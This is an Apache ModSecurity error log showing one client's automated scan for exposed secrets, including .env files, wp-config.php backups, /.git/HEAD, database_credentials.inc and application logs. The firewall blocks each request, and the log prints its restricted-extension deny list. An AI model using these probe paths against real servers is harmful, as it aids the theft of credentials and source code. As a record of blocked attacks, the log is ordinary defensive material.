[Sun Oct 25 00:17:49.229365 2026] [security2:error] [pid 2762168:tid 2762168] [client 93.123.109.214:44328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/error.log"] [unique_id "at2C7YN43zRYns3pglB7dgAAABg"]
[Sun Oct 25 00:17:49.244185 2026] [security2:error] [pid 2762162:tid 2762162] [client 93.123.109.214:44292] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php-backup"] [unique_id "at2C7UglE6Ztjk8LDihbkAAAABI"]
[Sun Oct 25 00:17:49.244384 2026] [security2:error] [pid 2762162:tid 2762162] [client 93.123.109.214:44292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php-backup"] [unique_id "at2C7UglE6Ztjk8LDihbkAAAABI"]
[Sun Oct 25 00:17:49.244649 2026] [security2:error] [pid 2762162:tid 2762162] [client 93.123.109.214:44292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php-backup"] [unique_id "at2C7UglE6Ztjk8LDihbkAAAABI"]
[Sun Oct 25 00:17:49.269461 2026] [security2:error] [pid 2762173:tid 2762173] [client 93.123.109.214:44356] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/production.log"] [unique_id "at2C7Ygd64xBaDpLih4PtgAAAB0"]
[Sun Oct 25 00:17:49.270041 2026] [security2:error] [pid 2762173:tid 2762173] [client 93.123.109.214:44356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/production.log"] [unique_id "at2C7Ygd64xBaDpLih4PtgAAAB0"]
[Sun Oct 25 00:17:49.270361 2026] [security2:error] [pid 2762173:tid 2762173] [client 93.123.109.214:44356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/production.log"] [unique_id "at2C7Ygd64xBaDpLih4PtgAAAB0"]
[Sun Oct 25 00:17:49.272506 2026] [security2:error] [pid 2762175:tid 2762175] [client 93.123.109.214:44368] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at2C7XE1aZqQ2RvNPKwQUwAAAB8"]
[Sun Oct 25 00:17:49.273056 2026] [security2:error] [pid 2762175:tid 2762175] [client 93.123.109.214:44368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at2C7XE1aZqQ2RvNPKwQUwAAAB8"]
[Sun Oct 25 00:17:49.273378 2026] [security2:error] [pid 2762175:tid 2762175] [client 93.123.109.214:44368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at2C7XE1aZqQ2RvNPKwQUwAAAB8"]
[Sun Oct 25 00:17:49.275214 2026] [security2:error] [pid 2762170:tid 2762170] [client 93.123.109.214:44376] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "at2C7ZO8F_rNskDTQ_eQTAAAABo"]
[Sun Oct 25 00:17:49.278068 2026] [security2:error] [pid 2762170:tid 2762170] [client 93.123.109.214:44376] ModSecurity: Warning. Matched phrase "/npm-debug.log" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "at2C7ZO8F_rNskDTQ_eQTAAAABo"]
[Sun Oct 25 00:17:49.278252 2026] [security2:error] [pid 2762170:tid 2762170] [client 93.123.109.214:44376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "at2C7ZO8F_rNskDTQ_eQTAAAABo"]
[Sun Oct 25 00:17:49.278543 2026] [security2:error] [pid 2762170:tid 2762170] [client 93.123.109.214:44376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "at2C7ZO8F_rNskDTQ_eQTAAAABo"]
[Sun Oct 25 00:17:50.079750 2026] [security2:error] [pid 2759057:tid 2759057] [client 93.123.109.214:44312] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/access.log"] [unique_id "at2C7mnoVolia533WIkgpQAAADQ"]
[Sun Oct 25 00:17:50.080209 2026] [security2:error] [pid 2759057:tid 2759057] [client 93.123.109.214:44312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/access.log"] [unique_id "at2C7mnoVolia533WIkgpQAAADQ"]
[Sun Oct 25 00:17:50.080432 2026] [security2:error] [pid 2759057:tid 2759057] [client 93.123.109.214:44312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/access.log"] [unique_id "at2C7mnoVolia533WIkgpQAAADQ"]
[Sun Oct 25 00:17:50.242083 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44334] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/log/access.log"] [unique_id "at2C7rabNYUt8C98kUB9IAAAACM"]
[Sun Oct 25 00:17:50.242729 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/log/access.log"] [unique_id "at2C7rabNYUt8C98kUB9IAAAACM"]
[Sun Oct 25 00:17:50.243110 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/log/access.log"] [unique_id "at2C7rabNYUt8C98kUB9IAAAACM"]
[Sun Oct 25 00:17:50.249360 2026] [ssl:error] [pid 2762178:tid 2762178] (70014)End of file found: [client 34.225.138.57:4418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:50.252770 2026] [security2:error] [pid 2762180:tid 2762180] [client 93.123.109.214:44340] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/logs/production.log"] [unique_id "at2C7qFA-ew2NsVBJbPV2wAAACQ"]
[Sun Oct 25 00:17:50.253329 2026] [security2:error] [pid 2762180:tid 2762180] [client 93.123.109.214:44340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/logs/production.log"] [unique_id "at2C7qFA-ew2NsVBJbPV2wAAACQ"]
[Sun Oct 25 00:17:50.253616 2026] [security2:error] [pid 2762180:tid 2762180] [client 93.123.109.214:44340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/logs/production.log"] [unique_id "at2C7qFA-ew2NsVBJbPV2wAAACQ"]
[Sun Oct 25 00:17:50.256813 2026] [security2:error] [pid 2762181:tid 2762181] [client 93.123.109.214:44408] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/database_credentials.inc"] [unique_id "at2C7vjsRVv6kkdt2sXynwAAACU"]
[Sun Oct 25 00:17:50.257295 2026] [security2:error] [pid 2762181:tid 2762181] [client 93.123.109.214:44408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/database_credentials.inc"] [unique_id "at2C7vjsRVv6kkdt2sXynwAAACU"]
[Sun Oct 25 00:17:50.257570 2026] [security2:error] [pid 2762181:tid 2762181] [client 93.123.109.214:44408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/database_credentials.inc"] [unique_id "at2C7vjsRVv6kkdt2sXynwAAACU"]
[Sun Oct 25 00:17:50.290085 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44486] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at2C7pnH_N6a0offkOBEsgAAACg"]
[Sun Oct 25 00:17:50.290332 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at2C7pnH_N6a0offkOBEsgAAACg"]
[Sun Oct 25 00:17:50.290620 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at2C7pnH_N6a0offkOBEsgAAACg"]
[Sun Oct 25 00:17:50.294578 2026] [security2:error] [pid 2762184:tid 2762184] [client 93.123.109.214:44556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at2C7n3Bw2lx8gF-0n39CAAAACk"]
[Sun Oct 25 00:17:50.294813 2026] [security2:error] [pid 2762184:tid 2762184] [client 93.123.109.214:44556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at2C7n3Bw2lx8gF-0n39CAAAACk"]
[Sun Oct 25 00:17:50.295131 2026] [security2:error] [pid 2762184:tid 2762184] [client 93.123.109.214:44556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at2C7n3Bw2lx8gF-0n39CAAAACk"]
[Sun Oct 25 00:17:50.299160 2026] [security2:error] [pid 2762193:tid 2762193] [client 93.123.109.214:44508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at2C7jv4vzerAhc7ipoQnAAAADU"]
[Sun Oct 25 00:17:50.299436 2026] [security2:error] [pid 2762193:tid 2762193] [client 93.123.109.214:44508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at2C7jv4vzerAhc7ipoQnAAAADU"]
[Sun Oct 25 00:17:50.299777 2026] [security2:error] [pid 2762193:tid 2762193] [client 93.123.109.214:44508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at2C7jv4vzerAhc7ipoQnAAAADU"]
